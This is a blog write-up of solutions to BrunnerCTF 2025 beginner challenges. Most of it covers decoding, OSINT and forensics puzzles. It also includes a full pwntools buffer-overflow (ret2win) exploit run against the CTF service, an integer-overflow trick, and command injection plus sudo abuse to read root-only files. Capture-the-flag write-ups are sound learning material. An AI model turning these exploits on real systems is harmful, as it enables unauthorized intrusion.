Cooking Flags with BrunnerCTF 2025 - A Beginner Feast#
Get your aprons on and terminals ready - the BrunnerCTF has just served up its very first edition, and I could NOT resist grabbing a plate!
This CTF brought a flavorful mix of challenges, from web and OSINT to forensics, crypto, reverse engineering, and even some pwn and boot2root fun. While there were plenty of spicy dishes for the seasoned pros, I stuck to the Shake & Bake menu - a perfect selection of beginner-friendly challenges designed to teach and entertain.
In this post, I will walk you through my journey solving most of the beginner tasks across categories like misc, OSINT, web, crypto, forensics, boot2root, pwn, and reverse engineering. Along the way, I will share my thought process, lessons learned, and tips you can use if you are just getting started with CTFs.
Sanity Check - misc#
I found this flag by just reading the challenge description… Here is a snip from the last part of that challenge description:
Let's Go!
Before you move on, please read the rules of the CTF carefully. They contain important notes on what you're allowed to and not.
Then, submit the following flag:
`brunner{n0w-y0u-kn0w-y0ur-C-T-F}`
Based Brunner - misc#
This was the challenge description:
The zip file attached to the challenge had the following highlighted files:
The based.txt file had long lines of binary code. This was the content of the encode.py file:
def encode_char(ch: str, base: int) -> str:
"""
Encode a single character into a string of digits in the given base
"""
value = ord(ch)
digits = []
while value > 0:
digits.append(str(value % base))
value //= base
return "".join(reversed(digits))
with open("flag.txt") as f:
text = f.read().strip()
# Encode the text with all bases from decimal to binary
for base in range(10, 1, -1):
text = " ".join(encode_char(ch, base) for ch in text)
with open("based.txt", "w") as f:
f.write(text)
Understand the Encoding#
The provided script encode.py converts the flag into different number bases, starting from base 10 down to base 2:
for base in range(10, 1, -1):
text = " ".join(encode_char(ch, base) for ch in text)
First, each character is turned into a number (ord(ch) gives the ASCII number).
Then, it’s converted into base 10, then base 9, then base 8, and so on… until base 2.
At every step, numbers are joined with spaces.
Example of encoding a single letter:
- ‘A’ → 65 (base 10)
- 65 → 71 (base 9)
- 71 → 105 (base 8) …
eventually a string of 1s and 0s for base 2.
Plan for Decoding#
To reverse the encoding, just reverse the steps:
- Start from base 2, go up layer by layer until base 10.
- Convert each group back to integers, then to characters, at each step.
The Decoder Script#
Here is the script that worked:
def decode_layer(encoded_text, base):
"""Decode one layer of the encoding for a given base."""
decoded_chars = []
for chunk in encoded_text.split():
decoded_chars.append(chr(int(chunk, base)))
return "".join(decoded_chars)
with open("based.txt") as f:
text = f.read().strip()
# Reverse the encoding: base 2 â†' base 10
for base in range(2, 11):
text = decode_layer(text, base)
print("Flag:", text)
How It Works#
- split() breaks the string by spaces to isolate each encoded character.
- int(chunk, base) converts that chunk from the current base to an integer.
- chr() converts the integer to the corresponding ASCII character.
- Loop from base 2 up to 10, one layer at a time.
Flag: brunner{1s_b4s3d}
The Baking Case - misc#
We’re given the text:
i UseD to coDE liKe A sLEEp-dEprIVed SqUirRel smasHInG keYs HOPinG BugS would dISApPear THrOugh fEAr tHeN i sPilled cOFfeE On mY LaPTop sCReameD iNTerNALly And bakeD BanaNa bREAd oUt oF PAnIc TuRNs OUT doUGh IS EasIEr tO dEbUG ThaN jaVASCrIPt Now I whIsPeR SWEEt NOtHIngs TO sOurDoUGh StARtERs aNd ThReATEN CrOissaNts IF they DoN'T rIsE My OVeN haS fEWeR CRasHEs tHaN mY oLD DEV sErvER aNd WHeN THInGS BurN i jUSt cAlL iT cARAMElIzEd FeatUReS no moRE meetInGS ThAt coUlD HAVE bEeN emailS JUst MufFInS THAt COulD HAvE BEen CupCAkes i OnCE tRIeD tO GiT PuSh MY cInnAmON rOLLs aND paNICkED WHEn I coUldn't reVErt ThEm NOw i liVe IN PeaCE uNLESs tHe yEast getS IDeas abOVe iTs StATion oR a COOkiE TrIES To sEgfAult my toOTH FILlings
The phrase “bit by bit†is the key hint: think binary. The oddly mixed upper/lower casing suggests a case-stego scheme (uppercase to 1, lowercase to 0). ChatGPT was able to come up with a script to decode this:
text = ("i UseD to coDE liKe A sLEEp-dEprIVed SqUirRel smasHInG keYs HOPinG BugS would dISApPear "
"THrOugh fEAr tHeN i sPilled cOFfeE On mY LaPTop sCReameD iNTerNALly And bakeD BanaNa bREAd oUt "
"oF PAnIc TuRNs OUT doUGh IS EasIEr tO dEbUG ThaN jaVASCrIPt Now I whIsPeR SWEEt NOtHIngs TO "
"sOurDoUGh StARtERs aNd ThReATEN CrOissaNts IF they DoN'T rIsE My OVeN haS fEWeR CRasHEs tHaN "
"mY oLD DEV sErvER aNd WHeN THInGS BurN i jUSt cAlL iT cARAMElIzEd FeatUReS no moRE meetInGS "
"ThAt coUlD HAVE bEeN emailS JUst MufFInS THAt COulD HAvE BEen CupCAkes i OnCE tRIeD tO GiT PuSh "
"MY cInnAmON rOLLs aND paNICkED WHEn I coUldn't reVErt ThEm NOw i liVe IN PeaCE uNLESs tHe "
"yEast getS IDeas abOVe iTs StATion oR a COOkiE TrIES To sEgfAult my toOTH FILlings")
# 1) Keep letters only
letters = [c for c in text if c.isalpha()]
# 2) Map case -> bits (lower=0, upper=1)
bits = ''.join('1' if c.isupper() else '0' for c in letters)
# 3) Chop into bytes
bytes8 = [bits[i:i+8] for i in range(0, len(bits), 8)]
bytes8 = [b for b in bytes8 if len(b) == 8] # drop incomplete trailing bits
# 4) ASCII decode
decoded = ''.join(chr(int(b, 2)) for b in bytes8)
print(decoded)
The script is looking for a hidden message in the weirdly capitalized paragraph. It does this by turning capital and lowercase letters into binary (1s and 0s), grouping them into bytes, and then decoding those bytes into text.
To keep only letters:
letters = [c for c in text if c.isalpha()]
The script removes everything that’s not a letter (like spaces or punctuation).
So “i UseD to coDE…” becomes a long string like: “iUseDtocoDEliKe…”
It then turns letter casing into binary (0s and 1s)
bits = ''.join('1' if c.isupper() else '0' for c in letters)
Every uppercase letter → 1
Every lowercase letter → 0
Example:
“iUseD” = “0 1 0 1 1”
At this point, the script has a very long chain of binary digits (1s and 0s).
It then goes ahead to group into chunks of 8 bits (bytes)
bytes8 = [bits[i:i+8] for i in range(0, len(bits), 8)]
bytes8 = [b for b in bytes8 if len(b) == 8]
Computers read text in bytes â€" groups of 8 bits.
This step splits the binary string into 8-bit groups.
Any extra bits at the end that don’t make a full byte are thrown away.
Example:
“01000001 01100010 01100011 …”
Then it decodes binary into text
decoded = ''.join(chr(int(b, 2)) for b in bytes8)
print(decoded)
Each 8-bit binary number is converted into its ASCII character.
- “01000001” = A
- “01100010” = b
- “01100011” = c
This reveals the hidden message.
When I saved and ran the script, it outputted this:
Flag: brunner{I_like_Baking_More_That_Programming}
Shaken, Not Stirred - crypto#
Challenge Description#
The challenge gave a fun story:
After all that cake, it’s time for a drink ðŸ¸. But wait, the bartender added a strange “secret ingredient.†Can we figure out what it is?
We were also provided with some scrambled text:
and a Python script that performed the encryption.
Looking at the Code#
Here is the core part of the script that does the mixing:
shaker = 0
for ingredient in ingredients:
shaker ^= len(ingredient) * random.randrange(18)
with open("flag.txt", "rb") as f:
secret = f.read().strip()
drink = bytes([b ^ shaker for b in secret])
Breaking this down:
- shaker starts at 0.
For each ingredient, the script:
- Takes the length of the ingredient string.
- Multiplies it by a random number between 0 and 17.
- XORs (^=) the result with the current shaker value.
Finally, every byte of the flag is XORed with the shaker value to produce the ciphertext.
Key Observations#
XOR encryption is being used.
The shaker (key) is just a number.
Even though random.randrange(18) is called, there is no seed specified. But importantly, the final key will always be a number between 0 and 255 because of how XOR works with bytes.
So, if we don not know the key - brute-forcing all 256 possibilities is quick and easy.
Brute-forcing the Key#
Here is the brute-force script I used:
When running it, the readable candidate that stood out was:
And just like that - we have the flag!
The Flag#
brunner{th3_n4m3's_Brunn3r...J4m3s_Brunn3r}
There Is a Lovely Land - osint#
There was a challenge description with a zip file attached to it that when extracted had an image:
I downloaded the file and extracted it to find this image:
I used the image to do a reverse image search on google and found a hit for visual matches with the name of the bridge:
I found a hit. So I submitted the flag: brunner{storebæltsbroen}
Train Mania - osint#
Description#
I recently stumpled upon this cool train! But I’d like to know a bit more about it… Can you please tell me the operating company, model number and its maximum service speed (km/h in regular traffic)?
The flag format is brunner{OPERATOR-MODELNUMBER-SERVICESPEED}. So if the operator you have found is DSB, the model number RB1, and the maximum service speed is 173 km/h, the flag would be brunner{DSB-RB1-173}.
A zip file was attached to this challenge and it had a video, I played it and paused it almost at the end as I had noticed something unique about the train, a logo:
Once again I did a reverse image search with google and saw this:
So I start searching for that specific model of the train online and find some sources with good info:
- https://en.wikipedia.org/wiki/X_2000
- https://www.railvolution.net/news/sj-class-x2000-modernisation-progress
I used that info to assemble the flag: brunner{SJ-X2-200}
DoughBot - forensics#
This was the challenge description:
We were given a zip file to download, which I downloaded and unzipped then tried to understand the kind of file this was and it turned out to be a windows initialization file. I then read its contents and saw what looked like an encoded flag:
I then copied the encoded string and tried to identify the cipher used:
Turns out, this was a base64 string, I proceeded to cyberchef to decode it:
Flag: brunner{m1x3d_s1gnals_4_sure}
The Secret Brunsviger - forensics#
Here is the challenge description:
The ZIP file provided, contained two files, traffic.pcap file and another file called keys.log. I opened the PCAP file with wireshark and tried to follow the traffic from one of the packets and it was all encrypted and therefore couldnt see anything to work with.
I then decided to try and use the other file as the key to decrypt the traffic. To do that I followed these steps:
- Go to
Edit â†' Preferences â†' Protocols â†' TLS - Set (Pre)-Master-Secret log filename to the path of keys.log
This has partly been illustrated below:
Once the key is loaded, I proceeded to apply a filter for HTTP traffic and follow the traffic once again from one of the packets:
It looked like a conversation among chefs, that led to this:
This looks like an encoded flag. Let’s decode it from CyberChef:
Flag: brunner{S3cr3t_Brunzv1g3r_R3c1p3_Fr0m_Gr4ndm4s_C00kb00k}
Online Cake Flavour Shop - pwn#
This was the challenge description:
We were given an instance to connect to and a file to download. The file had some code in C:
#include <stdio.h>
#include <stdlib.h>
#define FLAG_COST 100
#define BRUNNER_COST 10
#define CHOCOLATE_COST 7
#define DRØMMEKAGE_COST 5
int buy(int balance, int price) {
int qty;
printf("How many? ");
scanf("%u", &qty);
int cost = qty * price;
printf("price for your purchase: %d\n", cost);
if (cost <= balance) {
balance -= cost;
printf("You bought %d for $%d. Remaining: $%d\n", qty, cost, balance);
} else {
printf("You can't afford that!\n");
}
return balance;
}
void menu() {
printf("\nMenu:\n");
printf("1. Sample cake flavours\n");
printf("2. Check balance\n");
printf("3. Exit\n");
printf("> ");
}
unsigned int flavourMenu(unsigned int balance) {
unsigned int updatedBalance = balance;
printf("\nWhich flavour would you like to sample?:\n");
printf("1. Brunner ($%d)\n", BRUNNER_COST);
printf("2. Chocolate ($%d)\n", CHOCOLATE_COST);
printf("3. Drømmekage ($%d)\n", DRØMMEKAGE_COST);
printf("4. Flag Flavour ($%d)\n", FLAG_COST);
printf("> ");
int choice;
scanf("%d", &choice);
switch (choice)
{
case 1:
updatedBalance = buy(balance, BRUNNER_COST);
break;
case 2:
updatedBalance = buy(balance, CHOCOLATE_COST);
break;
case 3:
updatedBalance = buy(balance, DRØMMEKAGE_COST);
break;
case 4:
unsigned int flagBalance;
updatedBalance = buy(balance, FLAG_COST);
if (updatedBalance >= FLAG_COST) {
// Open file and print flag
FILE *fp = fopen("flag.txt", "r");
if(!fp) {
printf("Could not open flag file, please contact admin!\n");
exit(1);
}
char file[256];
size_t readBytes = fread(file, 1, sizeof(file), fp);
puts(file);
}
break;
default:
printf("Invalid choice.\n");
break;
}
return updatedBalance;
}
int main() {
int balance = 15;
int choice;
printf("Welcome to Overflowing Delights!\n");
printf("You have $%d.\n", balance);
while (1) {
menu();
scanf("%d", &choice);
switch (choice)
{
case 1:
balance = flavourMenu(balance);
break;
case 2:
printf("You have $%d.\n", balance);
break;
case 3:
printf("Goodbye!\n");
exit(0);
break;
default:
printf("Invalid choice.\n");
break;
}
}
return 0;
}
The scenario#
You have an online cake shop program. You start with $15:
You can sample different cake flavours:
Brunner ($10)
Chocolate ($7)
mekage ($5)
Flag Flavour ($100) this is what we want.
The program asks how many of a flavour you want to buy, calculates the total cost, and checks if you can afford it.
Spot the vulnerability#
Here is the key code from shop.c:
int buy(int balance, int price) {
unsigned int qty;
scanf("%u", &qty); // user enters quantity
int cost = qty * price; // calculate total cost
if (cost <= balance) { ... }
return balance - cost;
}
Observations#
qty is unsigned int (cannot be negative, very large possible values)
cost is signed int (can be negative or positive)
balance is signed int
This combination can lead to an integer overflow.
What is integer overflow?#
Think of integers in C as containers with a maximum size. For a 32-bit signed integer:
- Max value = 2,147,483,647
- Min value = -2,147,483,648
If you calculate a number larger than 2,147,483,647, it wraps around and becomes negative.
- Example: 2,147,483,648 to -2,147,483,648
This is like an odometer rolling over.
How I exploited it#
I wanted to buy the Flag Flavour ($100), but our balance is only $15.
Step 1: Enter a very large quantity for the flag: qty = 21,474,837
Step 2: Calculate cost:
- cost = qty * 100
- cost = 21,474,837 * 100
- cost = 2,147,483,700 → overflow → -2,147,483,596
Step 3: Updated balance:
- updatedBalance = balance - cost
- updatedBalance = 15 - (-2,147,483,596)
- updatedBalance = 2,147,483,611
Now updatedBalance > FLAG_COST, so the program thinks you can afford the flag and prints it!
Flag: brunner{wh0_kn3w_int3g3rs_c0uld_m4k3_y0u_rich}
Dat Overflow Dough - pwn#
Challenge Link: ncat –ssl dat-overflow-dough-b9ac089d9249f9ee.challs.brunnerne.xyz 443
Reading the Challenge#
The description hinted at something familiar in binary exploitation:
"Intern wrote C code using unsafe functions... accidentally pushed to production... could leak our secret recipe."
Translation?
Somewhere in the binary, there's a buffer overflow â€" most likely caused by using gets() or similar unsafe functions. Perfect for a ret2func exploit.
Inspecting the Source Code#
The provided recipe.c code snippet showed this:
void vulnerable_dough_recipe() {
char recipe[16];
puts("Please enter the name of the recipe you want to retrieve:");
gets(recipe); // âš ï¸ Dangerous! No length check
}
Key things to note:
- Buffer size is 16 bytes.
- Uses gets(), which doesn’t stop reading, allowing overflow.
- There’s a hidden function:
void secret_dough_recipe(void) {
int fd = open("flag.txt", O_RDONLY);
sendfile(1, fd, NULL, 100);
}
If we overwrite the return address to point to this function, we will get the flag.
Static Binary Analysis#
Before writing an exploit, I checked protections:
$ checksec recipe
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- NX enabled we cannot inject shellcode, but we can reuse code (return-to-function).
- No PIE function addresses do not change between runs.
- No canary, no stack protections to bypass.
This screamed classic ret2win.
Finding the Offset#
From the source:
- Buffer size: 16 bytes
- Saved RBP: 8 bytes
- Return address overwrite begins after 16 + 8 = 24 bytes.
Writing the Exploit#
Here is the final Python exploit with pwntools:
#!/usr/bin/env python3
from pwn import *
import argparse
RECIPE_BUFFER_SIZE = 16
RBP_SIZE = 8
PROMPT = "Please enter the name of the recipe you want to retrieve:"
parser = argparse.ArgumentParser()
parser.add_argument("--remote", help="remote target in form host:port", default=None)
args = parser.parse_args()
e = ELF("./recipe")
if args.remote:
host, port = args.remote.split(":")
port = int(port)
io = remote(host, port, ssl=True)
SECRET_ADDRESS = e.symbols['secret_dough_recipe']
else:
io = e.process()
SECRET_ADDRESS = e.symbols['secret_dough_recipe']
log.info(f"Using secret address: {hex(SECRET_ADDRESS)}")
payload = b"A" * RECIPE_BUFFER_SIZE
payload += b"B" * RBP_SIZE
payload += p64(SECRET_ADDRESS)
io.recvuntil(PROMPT.encode())
io.sendline(payload)
io.interactive()
Exploiting the Remote Service#
With everything ready, I ran:
python3 exploits.py --remote dat-overflow-dough-b9ac089d9249f9ee.challs.brunnerne.xyz:443
Output:
[*] Using secret address: 0x4011b6
[*] Switching to interactive mode
brunner{b1n4ry_eXpLoiTatioN_iS_CooL}
Success we hijacked the return pointer and jumped straight into the secret_dough_recipe function, printing the flag.
Flag: brunner{b1n4ry_eXpLoiTatioN_iS_CooL}
Baker Brian - reverse engineering#
This was the challenge description:
Notice that we need to download the file attached and also connect to the challenge. I downloaded the zip file, unzipped it and found the python script below:
cat auth.py
print("""
🎂ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸŽ‚
🰠ðŸ°
🰠Baker Brian's Cake Vault ðŸ°
🰠ðŸ°
🎂ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸ°ðŸŽ‚
""")
# Make sure nobody else tries to enter my vault
username = input("Enter Username:\n> ")
if username != "Br14n_th3_b3st_c4k3_b4k3r":
print("⌠Go away, only Baker Brian has access!")
exit()
# Password check if anybody guesses my username
# Naturally complies with all modern standards, nothing weak like "Tr0ub4dor&3"
password = input("\nEnter password:\n> ")
# Check each word separately
words = password.split("-")
# Word 1
if not (
len(words) > 0 and
words[0] == "red"
):
print("⌠Word 1: Wrong - get out!")
exit()
else:
print("✅ Word 1: Correct!")
# Word 2
if not (
len(words) > 1 and
words[1][::-1] == "yromem"
):
print("⌠Word 2: Wrong - get out!")
exit()
else:
print("✅ Word 2: Correct!")
# Word 3
if not (
len(words) > 2 and
len(words[2]) == 5 and
words[2][0] == "b" and
words[2][1] == "e" and
words[2][2:4] == "r" * 2 and
words[2][-1] == words[1][-1]
):
print("⌠Word 3: Wrong - get out!")
exit()
else:
print("✅ Word 3: Correct!")
# Word 4
if not (
len(words) > 3 and
words[3] == words[0][:2] + words[1][:3] + words[2][:3]
):
print("⌠Word 4: Wrong - get out!")
exit()
else:
print("✅ Word 4: Correct!")
# Password length
if len(password) != len(username):
print("⌠Wrong password length, get out!")
exit()
# Nobody will crack that password, access can be granted
print("\nWelcome back, Brian! Your vault has been opened:\n")
with open("cake_vault.txt") as f:
print(f.read())
When I connected to the challenge, I was prompted to give a username, so I went back to the script and read it to find a hardcoded username:
Br14n_th3_b3st_c4k3_b4k3r. On pressing enter, I was asked for a password.
From the script, we note that the password is split by hyphens into 4 words:
words = password.split("-")
So the format is: word1-word2-word3-word4
Word 1 Analysis#
if not (
len(words) > 0 and
words[0] == "red" # Direct comparison
):
✅ Word 1 = red (exact match required)
Word 2 Analysis#
if not (
len(words) > 1 and
words[1][::-1] == "yromem" # Reverse of word2 should equal "yromem"
):
Reverse "yromem" = "memory" (Python string reversal: [::-1])
✅ Word 2 = memory
Word 3 Analysis (Most Complex)#
if not (
len(words) > 2 and
len(words[2]) == 5 and # Must be 5 characters long
words[2][0] == "b" and # 1st character: 'b'
words[2][1] == "e" and # 2nd character: 'e'
words[2][2:4] == "r" * 2 and # Characters 2-3 (index 2 & 3): "rr"
words[2][-1] == words[1][-1] # Last character equals last char of word2
):
Let’s break this down:
- Length must be 5: _ _ _ _ _
- Position 0: b is b_ _ _ _
- Position 1: e is be_ _ _
- Positions 2-3: rr is berr_
- Position 4 (last char): must equal last char of word2 (“memory” is ‘y’)
Word 3 = berry
Word 4 Analysis#
if not (
len(words) > 3 and
words[3] == words[0][:2] + words[1][:3] + words[2][:3]
):
Break down the concatenation:
- words[0][:2] = First 2 chars of “red” are “re”
- words[1][:3] = First 3 chars of “memory” are “mem”
- words[2][:3] = First 3 chars of “berry” are “ber”
Combine: “re” + “mem” + “ber” = “remember”
✅ Word 4 = remember
Final Password Construction#
Combine all words with hyphens:
Word 1: red
Word 2: memory
Word 3: berry
Word 4: remember
✅ Password = red-memory-berry-remember
I then keyed this in and got the flag:
Rolling Pin - reverse engineering#
Challenge description:
File: rolling_pin (64-bit ELF)
Recon (Understanding the Binary)#
First, check what kind of file we are dealing with:
file rolling_pin
Output: ELF 64-bit LSB executable, x86-64, dynamically linked, ...
Cool â€" it’s a 64-bit Linux executable.
Load it into radare2#
We open the file in analysis mode:
r2 -AA rolling_pin
Find the main function:
afl | grep main
s main
pdf
This shows the main logic where the binary checks your input.
Look for Strings#
Check for readable strings:
iz
Found:
Good job!
Try again!
This tells us where the program decides if your input is correct or wrong.
Look at the Data#
We inspect memory regions near where the program compares inputs:
px 32 @ 0x00402010
Output:
62e4 d573 e6ac 9cbd 7260 d1a1 4766 d73a
6866 7d23 03ae d934 7d52 6f6c 6c20 7468
Understand the Logic#
By reading the disassembly, we see the binary:
- Takes your input.
- Rotates each byte to the left by a position based on its index.
- Compares it to the scrambled bytes.
So, to reverse it, we rotate right instead of left.
Write the Decoder#
A simple Python script to reverse the rotation:
data = [0x62, 0xe4, 0xd5, 0x73, 0xe6, 0xac, 0x9c, 0xbd, 0x72, 0x60,
0xd1, 0xa1, 0x47, 0x66, 0xd7, 0x3a, 0x68, 0x66, 0x7d, 0x23,
0x03, 0xae, 0xd9, 0x34, 0x7d]
flag = ""
for i, byte in enumerate(data):
shift = i & 7 # same shift as program but right instead of left
flag += chr(((byte >> shift) | (byte << (8 - shift))) & 0xFF)
print(flag)
Running it gives:brunner{r0t4t3_th3_d0ugh}
Test the Flag#
Feed it into the binary:
echo "brunner{r0t4t3_th3_d0ugh}" | ./rolling_pin
Output:Good job!
Where Robots Cannot Search - web#
Looking at the Chall decription, this hints us to robots.txt:
So I started the challenge and visited the website, appending the /robots.txt extension at the end of the URL and discovered some interesting dissallowed entries:
One of them was the flag.txt file as highlighted above and when I tried to read it, I found the flag:
Flag: brunner{r0bot5_sh0u1d_nOt_637_h3re_b0t_You_g07_h3re}
Cookie Jar - web#
I opened the challenge description and it looked and sounded like this was a cookie manipulation challenge:
When I started the challenge and visited the website, I found out that there is a cookie recipe only accessible to premium users. So I inspected the page and looked at the cookies to see what I can find:
Noticing that the cookie value for isPremium has been set to false, I changed the value to true and refresehed the page. That gave me the flag for this challenge:
Flag: brunner{C00k135_4R3_p0W3rFu1_4nD_D3l1c10u5!}
Coffee (User) - boot2root#
This was the challenge description. The challenge required us to obtain the user.txt file:
I visited the target and found an ordering management system and started testing it’s functionality:
Keying in a number as an order ID like 1, gives us the order status as shown above. After testing for multiple vulnerabilities on that fiels, I realized its vulnerable to Command Injection a illustrated below:
This then helped me read the file we are supposed to read for the challenge:
Flag: brunner{C0Ff33_w1Th_4_51d3_0F_c0MM4nD_1nj3Ct10n!}
Caffeine (Root) - boot2root#
This is a continuation of the Caffeine (User) challenge. Here is its description:
Looks like our goal this time is to escalate privileges and get the root flag. Once again, I visit the challenge page and start to do further enumeration as we had earlier discovered command injection vulnerability on the website:
As shown above, I ran sudo -l and discovered that our current context user has the ability to run the brew binary with elevated privileges without a need for a password. However I didnt know what that binary is used for, so I tried to read its help menu and didn’t get anything useful, apart from what seemed like it expected a file as an argument:
I therefore went ahead and supplied the file name of the file we are required to read as the argument and that gave me the flag:
flag: brunner{5uD0_pR1V1L3g35_T00_h0t_F0r_J4v4_J4CK!}
Wrapping up, BrunnerCTF 2025 was a fun and insightful experience that sharpened my problem-solving skills and deepened my understanding of core cybersecurity concepts. The “Shake & Bake†challenges were perfect for practicing fundamentals while still offering a few clever twists to keep things exciting. I’m looking forward to tackling more advanced challenges next time and continuing to refine my skills. Until then, happy hacking, and see you in the next CTF!
